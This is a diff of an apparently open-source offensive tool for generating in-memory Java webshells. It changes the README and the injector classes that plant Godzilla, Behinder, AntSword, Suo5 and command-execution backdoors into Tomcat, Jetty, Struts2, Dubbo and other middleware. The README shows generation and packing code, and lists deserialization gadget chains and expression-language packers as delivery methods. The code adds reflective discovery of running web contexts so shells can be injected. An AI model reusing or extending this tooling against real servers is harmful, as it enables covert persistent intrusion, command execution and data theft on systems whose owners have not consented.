|
||||||
System.out.println("Injector Class Name: "+result.getInjectorClassName());
|
|
||||||
System.out.println("MemShell Class Name: "+result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
|
|
||||||
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
|
|
||||||
```
|
|
||||||
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
|
||||||
.shrink(true) // Shrink bytecode size
|
|
||||||
.debug(false) // Disable debug mode
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("Injector Class Name: " + result.getInjectorClassName());
|
|
||||||
System.out.println("MemShell Class Name: " + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|
||||||
```
|
|
||||||
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
|
||||||
|
|
||||||
## Compatibility
|
|
||||||
|
|
||||||
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|
||||||
|
|
||||||
### Middleware and Frameworks
|
|
||||||
|
|
||||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
|
||||||
|----------------------|------------------------|----------------------|----------------------|
|
|
||||||
| Servlet | Servlet | Filter | Filter |
|
|
||||||
| Filter | Filter | Listener | Listener |
|
|
||||||
| Listener | Listener | Valve | Valve |
|
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| ProxyValve | | | |
|
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
| ContextValve - Agent | | | |
|
|
||||||
|
|
||||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
|
||||||
|---------------------|--------------------------|-----------------|--------------|
|
|
||||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
|
||||||
| Filter | ControllerHandler | HandlerMethod | |
|
|
||||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
|
||||||
| FilterChain - Agent | | NettyHandler | |
|
|
||||||
|
|
||||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
|
||||||
|----------------------|----------------------------|------------------------|------------------------|
|
|
||||||
| Filter | Filter | Servlet | Servlet |
|
|
||||||
| Listener | Listener | Filter | Filter |
|
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
|
||||||
| ProxyValve | | | |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
|
||||||
| | ServletHandler - Agent (7) | | |
|
|
||||||
|
|
||||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
|
||||||
|-----------------------|-------------------------|
|
|
||||||
| Servlet | Servlet |
|
|
||||||
| Filter | Filter |
|
|
||||||
| Listener | Listener |
|
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
|
||||||
|----------------------|----------------------|------------------------|
|
|
||||||
| Filter | Filter | Filter |
|
|
||||||
| Listener | Listener | Listener |
|
|
||||||
| Valve | Valve | Valve |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
|
|
||||||
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
|
||||||
|---------------------|----------------------|
|
|
||||||
| Servlet | Filter |
|
|
||||||
| Filter | Listener |
|
|
||||||
| Listener | Valve |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| | ContextValve - Agent |
|
|
||||||
|
|
||||||
### MemShell Functionality
|
|
||||||
|
|
||||||
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
|
|
||||||
- [x] [Behinder](https://github.com/rebeyond/Behinder)
|
|
||||||
- [x] Command Execution
|
|
||||||
- [x] [Suo5](https://github.com/zema1/suo5)
|
|
||||||
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
|
|
||||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
|
||||||
- [x] Custom
|
|
||||||
|
|
||||||
### Packaging Methods
|
|
||||||
|
|
||||||
- [x] BASE64
|
|
||||||
- [x] GZIP BASE64
|
|
||||||
- [x] JSP
|
|
||||||
- [x] JSPX
|
|
||||||
- [x] JAR
|
|
||||||
- [x] BCEL
|
|
||||||
- [x] Built-in ScriptEngine, Rhino ScriptEngine
|
|
||||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
|
||||||
- [x] Velocity、Freemarker、JinJava
|
|
||||||
- [x] Native Deserialization(CB and CC)
|
|
||||||
- [x] Agent
|
|
||||||
- [x] XXL-JOB Executor
|
|
||||||
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
|
|
||||||
- [ ] JNDI
|
|
||||||
- [ ] JDBC Connection
|
|
||||||
- [ ] Other common deserialization
|
|
||||||
|
|
||||||
## Local Build
|
|
||||||
|
|
||||||
### Building from Source Code
|
|
||||||
|
|
||||||
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
|
|
||||||
|
|
||||||
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
|
|
||||||
|
|
||||||
1. Clone the project using Git:
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/ReaJason/MemShellParty.git
|
|
||||||
```
|
|
||||||
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/web
|
|
||||||
|
|
||||||
bun install
|
|
||||||
|
|
||||||
bun run build
|
|
||||||
```
|
|
||||||
3. Build the backend project. Ensure you are using a JDK 17 environment.
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
./gradlew :boot:bootjar -x test
|
|
||||||
```
|
|
||||||
|
|
||||||
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
java -jar \
|
|
||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
|
||||||
build/libs/boot-1.0.0.jar
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively, you can build a Docker container from the built artifacts:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
docker buildx build -t memshell-party:latest . --load
|
|
||||||
|
|
||||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### Building with Dockerfile Directly
|
|
||||||
|
|
||||||
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
|
|
||||||
|
|
||||||
Download the [Dockerfile](../Dockerfile) from the project root.
|
|
||||||
|
|
||||||
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
|
|
||||||
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
|
|
||||||
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Basic build (defaults to root path "/")
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.7.0 \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# Run the basic image, access at http://127.0.0.1:8080
|
|
||||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
|
||||||
|
|
||||||
# Build with custom access path (e.g., /memshell-party)
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.7.0 \
|
|
||||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
|
||||||
--build-arg CONTEXT_PATH=/memshell-party \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
|
|
||||||
docker run -it -p 8080:8080 \
|
|
||||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
|
||||||
memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
|
|
||||||
|
|
||||||
Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
|
|
||||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
|
|
||||||
|
|
||||||
```text
|
|
||||||
location /memshell-party {
|
|
||||||
proxy_pass http://127.0.0.1:8080;
|
|
||||||
proxy_set_header Host $http_host;
|
|
||||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
|
||||||
proxy_set_header X-Forwarded-For $remote_addr;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_connect_timeout 3s;
|
|
||||||
proxy_read_timeout 300s;
|
|
||||||
proxy_send_timeout 300s;
|
|
||||||
proxy_buffer_size 16k;
|
|
||||||
proxy_buffers 8 64k;
|
|
||||||
proxy_busy_buffers_size 128k;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Contribute
|
|
||||||
|
|
||||||
> Any feedback or issue discussion you provide is a contribution to this project.
|
|
||||||
|
|
||||||
> It will be so nice if you want to contribute. 🎉
|
|
||||||
|
|
||||||
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
|
|
||||||
2. If you are skilled in writing memory shells, try adding support for a new type or target.
|
|
||||||
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
|
|
||||||
|
|
||||||
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
|
|
||||||
|
|
||||||
## Thanks
|
|
||||||
|
|
||||||
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
|
|||||||
@@ -20,6 +20,6 @@ public class Server {
|
|||||||
public static final String SpringWebMvc = "SpringWebMvc";
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
public static final String XXLJOB = "XXLJOB";
|
public static final String XXLJOB = "XXLJOB";
|
||||||
public static final String Struct2 = "Struct2";
|
public static final String Struts2 = "Struts2";
|
||||||
public static final String Dubbo = "Dubbo";
|
public static final String Dubbo = "Dubbo";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -46,7 +46,7 @@ public class ServerFactory {
|
|||||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
register(Server.XXLJOB, XxlJob::new);
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
register(Server.Struct2, Struct2::new);
|
register(Server.Struts2, Struts2::new);
|
||||||
register(Server.Dubbo, Dubbo::new);
|
register(Server.Dubbo, Dubbo::new);
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
@@ -82,7 +82,9 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
.addShellClass(ACTION, GodzillaStruts2Action.class)
|
||||||
|
.addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class)
|
||||||
|
.addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -107,7 +109,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
.addShellClass(ACTION, BehinderStruct2Action.class)
|
.addShellClass(ACTION, BehinderStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -125,7 +127,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
.addShellClass(ACTION, AntSwordStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -162,7 +164,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
.addShellClass(ACTION, CommandStruts2Action.class)
|
||||||
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
||||||
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
||||||
.build());
|
.build());
|
||||||
@@ -190,7 +192,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
.addShellClass(ACTION, Suo5Struct2Action.class)
|
.addShellClass(ACTION, Suo5Struts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||||
@@ -215,7 +217,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||||
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
.addShellClass(ACTION, Suo5v2Struts2Action.class)
|
||||||
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
@@ -241,7 +243,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
.addShellClass(ACTION, NeoreGeorgStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||||
|
|||||||
+24
-1
@@ -6,6 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -130,7 +131,16 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
newMappings[0] = filterMapping;
|
newMappings[0] = filterMapping;
|
||||||
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
||||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
try {
|
||||||
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache");
|
||||||
|
if (_chainCache != null) {
|
||||||
|
for (Map cache : _chainCache) {
|
||||||
|
if (cache != null) cache.clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -171,6 +181,19 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
|
||||||
|
try {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
|
||||||
|
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
|
||||||
|
for (Object o : hostConfigs.values()) {
|
||||||
|
Map apps = (Map) getFieldValue(o, "webapps");
|
||||||
|
contexts.addAll(apps.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -110,7 +110,8 @@ public class JettyHandlerInjector {
|
|||||||
if (entry != null) {
|
if (entry != null) {
|
||||||
Object threadLocalValue = getFieldValue(entry, "value");
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
if (threadLocalValue != null) {
|
if (threadLocalValue != null) {
|
||||||
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|
if (threadLocalValue.getClass().getName().contains("HttpConnection")
|
||||||
|
|| threadLocalValue.getClass().getName().contains("SelectChannelConnector")) {
|
||||||
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
|
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+14
-4
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.EventListener;
|
import java.util.*;
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -101,6 +98,19 @@ public class JettyListenerInjector {
|
|||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
|
||||||
|
try {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
|
||||||
|
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
|
||||||
|
for (Object o : hostConfigs.values()) {
|
||||||
|
Map apps = (Map) getFieldValue(o, "webapps");
|
||||||
|
contexts.addAll(apps.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|||||||
+15
@@ -6,6 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -109,6 +110,20 @@ public class JettyServletInjector {
|
|||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
|
||||||
|
try {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
|
||||||
|
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
|
||||||
|
for (Object o : hostConfigs.values()) {
|
||||||
|
Map apps = (Map) getFieldValue(o, "webapps");
|
||||||
|
contexts.addAll(apps.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.struct2;
|
package com.reajason.javaweb.memshell.injector.struts2;
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -15,7 +15,7 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class Struct2ActionInjector {
|
public class Struts2ActionInjector {
|
||||||
|
|
||||||
private static String msg = "";
|
private static String msg = "";
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
@@ -32,7 +32,7 @@ public class Struct2ActionInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public Struct2ActionInjector() {
|
public Struts2ActionInjector() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -19,8 +19,11 @@ public class Bes extends AbstractServer {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, BesListenerInjector.class)
|
.addInjector(LISTENER, BesListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, BesListenerInjector.class)
|
||||||
.addInjector(FILTER, BesFilterInjector.class)
|
.addInjector(FILTER, BesFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, BesFilterInjector.class)
|
||||||
.addInjector(VALVE, BesValveInjector.class)
|
.addInjector(VALVE, BesValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, BesValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
+3
-3
@@ -1,18 +1,18 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector;
|
import com.reajason.javaweb.memshell.injector.struts2.Struts2ActionInjector;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class Struct2 extends AbstractServer {
|
public class Struts2 extends AbstractServer {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(ShellType.ACTION, Struct2ActionInjector.class)
|
.addInjector(ShellType.ACTION, Struts2ActionInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
